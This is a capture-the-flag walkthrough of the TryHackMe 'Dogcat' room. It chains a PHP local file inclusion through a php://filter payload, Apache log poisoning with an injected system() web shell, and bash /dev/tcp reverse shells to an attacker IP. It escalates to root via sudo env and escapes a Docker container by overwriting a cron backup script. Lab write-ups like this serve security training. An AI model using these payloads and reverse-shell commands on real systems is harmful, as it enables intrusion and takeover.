TryHackMe - Dogcat
Introduction
This is a TryHackMe room which can be found at: Dogcat
I made a website where you can look at pictures of dogs and/or cats! Exploit a PHP application via LFI and break out of a docker container.
Reconnaissance & Scanning
Perform nmap
scan to identify open ports and services.
- Command:
nmap -p- -T4 -v 10.10.202.202
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
geobour98@kali:~$ nmap -p- -T4 -v 10.10.202.202
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-30 09:27 EET
Initiating Ping Scan at 09:27
Scanning 10.10.202.202 [2 ports]
Completed Ping Scan at 09:27, 0.08s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 09:27
Completed Parallel DNS resolution of 1 host. at 09:27, 0.00s elapsed
Initiating Connect Scan at 09:27
Scanning 10.10.202.202 (10.10.202.202) [65535 ports]
Discovered open port 80/tcp on 10.10.202.202
Discovered open port 22/tcp on 10.10.202.202
Completed Connect Scan at 09:28, 58.93s elapsed (65535 total ports)
Nmap scan report for 10.10.202.202 (10.10.202.202)
Host is up (0.074s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
49592/tcp filtered unknown
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 59.04 seconds
Perform aggressive nmap
scan to enable OS detection, default scripts and version detection on the found ports.
- Command:
sudo nmap -A -sC -p 22,80,49592 -v 10.10.202.202
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
geobour98@kali:~$ sudo nmap -A -sC -p 22,80,49592 -v 10.10.202.202
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-30 09:29 EET
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 09:29
Completed NSE at 09:29, 0.00s elapsed
Initiating NSE at 09:29
Completed NSE at 09:29, 0.00s elapsed
Initiating NSE at 09:29
Completed NSE at 09:29, 0.00s elapsed
Initiating Ping Scan at 09:29
Scanning 10.10.202.202 [4 ports]
Completed Ping Scan at 09:29, 0.12s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 09:29
Completed Parallel DNS resolution of 1 host. at 09:29, 0.00s elapsed
Initiating SYN Stealth Scan at 09:29
Scanning 10.10.202.202 (10.10.202.202) [3 ports]
Discovered open port 22/tcp on 10.10.202.202
Discovered open port 80/tcp on 10.10.202.202
Completed SYN Stealth Scan at 09:29, 0.10s elapsed (3 total ports)
Initiating Service scan at 09:29
Scanning 2 services on 10.10.202.202 (10.10.202.202)
Completed Service scan at 09:29, 6.15s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 10.10.202.202 (10.10.202.202)
Retrying OS detection (try #2) against 10.10.202.202 (10.10.202.202)
Retrying OS detection (try #3) against 10.10.202.202 (10.10.202.202)
Retrying OS detection (try #4) against 10.10.202.202 (10.10.202.202)
Retrying OS detection (try #5) against 10.10.202.202 (10.10.202.202)
Initiating Traceroute at 09:29
Completed Traceroute at 09:29, 0.09s elapsed
Initiating Parallel DNS resolution of 1 host. at 09:29
Completed Parallel DNS resolution of 1 host. at 09:29, 0.00s elapsed
NSE: Script scanning 10.10.202.202.
Initiating NSE at 09:29
Completed NSE at 09:29, 3.97s elapsed
Initiating NSE at 09:29
Completed NSE at 09:29, 0.32s elapsed
Initiating NSE at 09:29
Completed NSE at 09:29, 0.00s elapsed
Nmap scan report for 10.10.202.202 (10.10.202.202)
Host is up (0.100s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2431192ab1971a044e2c36ac840a7587 (RSA)
| 256 213d461893aaf9e7c9b54c0f160b71e1 (ECDSA)
|_ 256 c1fb7d732b574a8bdcd76f49bb3bd020 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: dogcat
|_http-server-header: Apache/2.4.38 (Debian)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
49592/tcp closed unknown
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
Navigate to port 80
, and notice the URLs for dogs images: http://10.10.202.202/?view=dog
and cats images: http://10.10.202.202/?view=cat
.
Also, from Wappalyzer
we identify that PHP
is used.
- Command:
gobuster dir -u http://10.10.202.202/ -x php -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
geobour98@kali:~$ gobuster dir -u http://10.10.202.202/ -x php -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40
===============================================================
Gobuster v3.2.0-dev
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.202.202/
[+] Method: GET
[+] Threads: 40
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.2.0-dev
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2022/10/30 09:43:01 Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 200) [Size: 418]
/cat.php (Status: 200) [Size: 26]
/flag.php (Status: 200) [Size: 0]
/cats (Status: 301) [Size: 309] [--> http://10.10.202.202/cats/]
/dogs (Status: 301) [Size: 309] [--> http://10.10.202.202/dogs/]
/dog.php (Status: 200) [Size: 26]
/server-status (Status: 403) [Size: 276]
Progress: 441122 / 441124 (100.00%)===============================================================
2022/10/30 09:59:03 Finished
===============================================================
After poking around we identified that either the string dog
or cat
must be in the value of the view
parameter.
If we navigate to the URL: http://10.10.202.202/?view=dog1
we get the following warnings:
1
2
3
4
Here you go!
Warning: include(dog1.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 24
Warning: include(): Failed opening 'dog1.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 24
These warnings reveal that include_path
is used, which probably checks for the strings dog
or cat
.
Exploitation
So, it is possible for an LFI
to be there, so we will try some payloads from: File Inclusion - PayloadsAllTheThings.
The successful payload is: php://filter/convert.base64-encode/resource=
, so the URL becomes: http://10.10.202.202/?view=php://filter/convert.base64-encode/resource=dog
resulting to: Here you go!PGltZyBzcmM9ImRvZ3MvPD9waHAgZWNobyByYW5kKDEsIDEwKTsgPz4uanBnIiAvPg0K
Flag 1
We have also found flag.php
from gobuster
so we can read the 1st flag by navigating to: http://10.10.202.202/?view=php://filter/convert.base64-encode/resource=dog/../flag
. The output is: Here you go![REDACTED]
, which we can decode from base64
.
We can navigate to: http://10.10.202.202/?view=php://filter/convert.base64-encode/resource=dog/../index
in order to view the source code of index.php
(if we first decode it from base64):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<!DOCTYPE HTML>
<html>
<head>
<title>dogcat</title>
<link rel="stylesheet" type="text/css" href="/style.css">
</head>
<body>
<h1>dogcat</h1>
<i>a gallery of various dogs or cats</i>
<div>
<h2>What would you like to see?</h2>
<a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
<?php
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(isset($_GET['view'])) {
if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
echo 'Here you go!';
include $_GET['view'] . $ext;
} else {
echo 'Sorry, only dogs or cats are allowed.';
}
}
?>
</div>
</body>
</html>
We notice that index.php
also checks for the ext
parameter and if it’s missing, it appends .php
.
So, we can read now the /var/log/apache2/access.log
on the URL: http://10.10.202.202/?view=php://filter/convert.base64-encode/resource=dog/../../../../var/log/apache2/access.log&ext
(again after decoding from base64).
So, we can perform log poisoning
in order to execute commands.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
geobour98@kali:~$ nc -vn 10.10.202.202 80
(UNKNOWN) [10.10.202.202] 80 (http) open
GET /<?php system($_GET['cmd']); ?>
HTTP/1.1 400 Bad Request
Date: Sun, 30 Oct 2022 08:30:36 GMT
Server: Apache/2.4.38 (Debian)
Content-Length: 302
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.38 (Debian) Server at 172.17.0.2 Port 80</address>
</body></html>
The response has 400
HTTP status code but we can verify that the log poisoning
was successful by navigating to: http://10.10.202.202/?view=.dog/../../../../var/log/apache2/access.log&cmd=id&ext
The output is: uid=33(www-data) gid=33(www-data) groups=33(www-data)
, so we now can get a reverse shell through Burp Suite.
Refresh this page: http://10.10.202.202/?view=.dog/../../../../var/log/apache2/access.log&cmd=id&ext
and Intercept it with Burp. Then replace the id
command with bash -c 'exec bash -i &>/dev/tcp/10.8.16.74/443 <&1'
but URL-encoded.
So the request should look like this:
1
2
3
4
5
6
7
8
9
10
GET /?view=.dog/../../../../var/log/apache2/access.log&cmd=bash+-c+'exec+bash+-i+%26>/dev/tcp/10.8.16.74/443+<%261'&ext HTTP/1.1
Host: 10.10.202.202
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Then, open a netcat listener and we have a reverse shell as www-data
.
1
2
3
4
5
6
7
geobour98@kali:~$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.8.16.74] from (UNKNOWN) [10.10.202.202] 54374
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@85e25e675ab4:/var/www/html$ whoami
www-data
Privilege Escalation
After executing the command: sudo -l
we see that we can execute /usr/bin/env
as root without being asked for root password.
We can use the following command to become root: sudo env /bin/sh
found on: https://gtfobins.github.io/gtfobins/env/#sudo
1
2
3
4
5
6
7
8
9
10
11
12
www-data@85e25e675ab4:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on 85e25e675ab4:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on 85e25e675ab4:
(root) NOPASSWD: /usr/bin/env
www-data@85e25e675ab4:/var/www/html$ sudo env /bin/sh
sudo env /bin/sh
id
uid=0(root) gid=0(root) groups=0(root)
Flag 2
The 2nd flag can be found in: /var/www/flag2_QMW7JvaY2LvK.txt
:
1
2
3
cd /var/www
cat flag2_QMW7JvaY2LvK.txt
[REDACTED]
Flag 3
The 3rd flag can be found in: /root/flag3.txt
:
1
2
3
cd /root
cat flag3.txt
[REDACTED]
Flag 4
If we navigate to /
we see the file .dockerenv
meaning that we are in Docker container
.
There is an interesting file backup.sh
in /opt/backups/
, which should be executed as a Cron job on the Host machine, because it is executing a tar
command. So, we can modify backup.sh
in order to get a reverse shell from the Host.
1
2
3
echo "bash -c 'exec bash -i &>/dev/tcp/10.8.16.74/443 <&1'" > backup.sh
cat backup.sh
bash -c 'exec bash -i &>/dev/tcp/10.8.16.74/443 <&1'
Open a netcat listener on 443 port and wait for the connection.
1
2
3
4
5
6
7
8
9
10
11
geobour98@kali:~$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.8.16.74] from (UNKNOWN) [10.10.202.202] 38480
bash: cannot set terminal process group (3679): Inappropriate ioctl for device
bash: no job control in this shell
root@dogcat:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@dogcat:~# cat flag4.txt
cat flag4.txt
[REDACTED]
Now are the root
user on the Host machine.